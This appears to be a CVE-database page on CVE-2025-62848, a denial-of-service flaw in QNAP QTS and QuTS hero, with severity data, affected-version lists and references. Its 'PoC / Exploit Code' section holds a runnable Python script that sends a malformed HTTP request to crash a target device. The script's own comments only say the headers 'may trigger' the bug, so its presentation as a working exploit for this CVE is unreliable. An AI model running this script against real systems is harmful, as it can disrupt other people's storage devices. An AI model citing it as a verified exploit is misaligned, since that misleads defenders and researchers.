CVE-2025-62848

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. The remote attackers can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.7.3297 build 20251024 and later QuTS hero h5.2.7.3297 build 20251024 and later QuTS hero h5.3.1.3292 build 20251024 and later

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.7.3297 build 20251024

QNAP QuTS hero h5.2.7.3297 build 20251024

QNAP QuTS hero h5.3.1.3292 build 20251024

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-62848 PoC - QNAP NULL Pointer Dereference DoS
Note: This PoC is for educational and authorized testing purposes only.
"""

import socket
import sys
import argparse

def send_exploit(target_ip, target_port=80):
    """
    Send crafted request to trigger NULL pointer dereference in QNAP systems.
    The vulnerability exists in how the system handles malformed network requests.
    """
    # Construct malicious HTTP request
    payload = b"GET / HTTP/1.1\r\n"
    payload += b"Host: " + target_ip.encode() + b":80\r\n"
    # Malformed headers that may trigger NULL pointer dereference
    payload += b"X-Null-Pointer: \x00\x00\x00\r\n"
    payload += b"Content-Length: -1\r\n"
    payload += b"\r\n"
    
    try:
        print(f"[*] Connecting to {target_ip}:{target_port}")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        print(f"[*] Sending malicious payload...")
        sock.send(payload)
        
        # Wait for response
        try:
            response = sock.recv(1024)
            print(f"[*] Received response: {response[:100]}")
        except socket.timeout:
            print("[!] No response received - target may have crashed")
        
        sock.close()
        return True
    except Exception as e:
        print(f"[!] Error: {e}")
        return False

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-62848 PoC')
    parser.add_argument('target', help='Target IP address')
    parser.add_argument('-p', '--port', type=int, default=80, help='Target port')
    args = parser.parse_args()
    
    print("=" * 50)
    print("CVE-2025-62848 - QNAP NULL Pointer Dereference")
    print("=" * 50)
    
    send_exploit(args.target, args.port)

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62848
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62848
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62848/
[4] VulDB https://vuldb.com/cve/CVE-2025-62848
[5] https://www.qnap.com/en/security-advisory/qsa-25-45

Raw JSON Data

JSON

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